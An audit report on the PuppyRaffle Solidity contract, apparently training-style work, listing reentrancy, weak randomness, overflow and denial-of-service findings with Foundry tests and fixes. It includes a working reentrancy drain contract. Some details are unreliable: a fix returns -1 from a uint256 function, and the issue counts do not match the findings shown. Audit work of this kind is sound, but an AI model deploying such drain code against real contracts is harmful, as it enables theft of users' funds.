Protocol Audit Report

Cyfrin.io

September 12, 2024

PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

September 14, 2024

Protocol Audit Report

Cyfrin.io

September 12, 2024

Prepared by: Cyfrin Lead Auditors: - Nadia Mahyaee

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters:
   1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

- Puppy Raffle
- Getting Started
  - Requirements
  - Quickstart
    - Optional Gitpod
- Usage
  - Testing
    - Test Coverage
- Audit Scope Details
  - Compatibilities
- Roles
- Known Issues

Disclaimer

The Nadia Mahyaee team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	4
Gas	3
Total	13

Findings

High

[H-1] Calling an external function and change the state after that may cause reentrancy attack in `puppyRaffle::refund` function.

Description: In the refund() function, the functionality is to refund the player money to them and then change the balance of their account to 0 after the payable(msg.sender).sendValue(entranceFee); tries to withdraw the money which do not follow the CEI (Checks, Effects, Intractions); the attack that may be happen is when an external contract tries to enter the raffle and before the functionality of the refund() function tries to disable the activeness of the player(here the attacker), attacker will call the refund function couple of times, until the raffle contract balance is 0.

Impact: This attack will cause the raffle to loose all of its money.

Proof of Concept: We have create a ReentrancyAttack contract which handle to enter the puppyRaffle, and then call the refund() function to withdraw all the money of puppyRaffle balance.

Here is the balance of both attacker contract and puppyRaffle contract before and after the attack:

- starting attack contract balance: 0
- starting contract balance: 4000000000000000000
- ending attack contract balance: 5000000000000000000
- ending contract balance: 0

Poc Place the following test into PuppyRaffleTest.t.sol

```
function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttack attackerContract = new ReentrancyAttack(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContrackBalance = address(attackerContract)
            .balance;
        uint256 startingContrackBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "starting attack contract balance:",
            startingAttackContrackBalance
        );
        console.log("starting contract balance:", startingContrackBalance);

        console.log(
            "ending attack contract balance:",
            address(attackerContract).balance
        );
        console.log("ending contract balance:", address(puppyRaffle).balance);
    }
```

And this contract as well

```
contract ReentrancyAttack {
    uint256 entranceFee;
    PuppyRaffle puppyRaffle;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
```

```
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }
    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }
    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this problem we should have the puppyRaffle::refund function update the array of players before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refun
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded,

+     players[playerIndex] = address(0);
+     emit RaffleRefunded(playerAddress);

    payable(msg.sender).sendValue(entranceFee);

-     players[playerIndex] = address(0);
-     emit RaffleRefunded(playerAddress);
}
```

[H-2]: Weak randomness in `puppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing msg.sender, block.timestamp, and block. difficulty together creates a predictable final number. A predictable number is not a good rnadom number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact Any user can influence the winner of the raffle, winning the money and selecting the rerest puppy.

Proof of Concept

1. Validators can know ahead of time the block.timestamp and block. difficulty and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. block. difficulty was recently replaced with prevrandao.
2. Users can manipulate the msg.sender value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] `totalFees` Variable Overflow Due to uint64 Type, Leading to Potential Incorrect Storage.

Description: The totalFees variable is declared as a uint64, which may lead to overflow when it exceeds its maximum value (2^64 - 1). Once it reaches this limit, the variable will reset to 0, potentially causing incorrect fee tracking and storage issues.

Impact: This overflow could result in incorrect calculations, misleading total fees, or unexpected behavior in the contract when the variable resets.

Proof of Concept:

Poc

```
function testTotalFeesOverflow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        address[] memory players = new address[](89);
        for (uint256 i = 0; i < 89; i++) {
```

```
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * 89}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();

        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);
    }
```

Recommended Mitigation: It's better to use a larger uint type. Use uint256 instead if uint64 in selectWinner().

```
-     uint64 public totalFees = 0;
+     uint256 public totalFees = 0;

-     totalFees = totalFees + uint64(fee);
+     totalFees = totalFees + fee;
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial od service (Dos) attack,incrementing gas costs for future entrants

Description:

The PuppyRaffle::enterRaffle function loops through the players array to check for duplicate value. However, the longer PuppyRaffle::players array is, the more checks a new playser will have to make. This means the gas costs for players who enter right when the raffle strats will be much cheaper that the ones who enters later. Every additional address in the players array, is an additional check the loop will have to make.

```
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact:

The gas cost for raffle will be increases by the high number of the enteries. An attacker might make a big number of entries to PuppyRaffle::enterRaffle that no one else can enter the raffle anymore.

Proof of Concept:

If we have sets of players enter, the gas costs will be such as: - 1st 100 players: ~6252047gas - 2nd 100 players: ~18068137gas

This more than 3x more expensive for the second 100 players.

PoC Place the following test into PuppyRaffleTest.t.sol

```
function testNestedForsCanCauseTrouble() public {
    vm.txGasPrice(1);

    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasEnd = gasleft();

    uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;

    console.log("Gas cost first", gasUsed);

    address[] memory playersSecond = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        playersSecond[i] = address(i + playersNum);
    }
    uint256 gasStartTwo = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersSecond);
    uint256 gasEndTwo = gasleft();

    uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;

    console.log("Gas cost second", gasUsedSecond);
}
```

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] returns conflict in `getActivePlayerIndex()` function are not correct, if a player is in 0 index of an array might think is not active.

Description: The getActivePlayerIndex() function which is for returning the index of the players by they address may cause issue, such that if the player is in the index 0, the function should return 0 but at the same time if the player in not in the players array(is not active), function should also return 0, which this conflict may cause problems.

Impact: If a player is in 0 index of an array might think is not active.

Recommended Mitigation: When player is not active return -1 instead of 0.

```
    function getActivePlayerIndex(address player) external view returns (uint256
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
-       return 0;
+       return -1;
    }
```

Informational

[I-1]: Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0;, use

pragma solidity 0.8.0;

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for address(0) when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 72

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 229

```
        feeAddress = newFeeAddress;
```

[I-4]: `puppyRaffle::selectWinner` function does not follow CEI, which is not recommended.

It's best to keep the code clean.

```
-       (bool success, ) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success, ) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5]: Magic numbers.

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / TO
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / TOTAL_PERCENTAG
```

Gas

[G-1]: Unchanged state variables should be declared as constant or immutable.

Reading from storage is more expensive than reading from constant and immutable variables.

Instances:

- PuppyRaffle::raffleDuration should be immutable.
- PuppyRaffle::commonImageUri should be constant.
- PuppyRaffle::rareImageUri should be constant.
- PuppyRaffle::legendaryImageUri should be constant.

[G-2]: Storage varibles in the loop should be cached.

Everytime you call the players.length you read from storage, as opposed in memory which is more gas efficient.

```
+         uint256 playersLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                  require(players[i] != players[j], "PuppyRaffle: Duplicate player
              }
          }
```

High

Medium

Low

Informational

Gas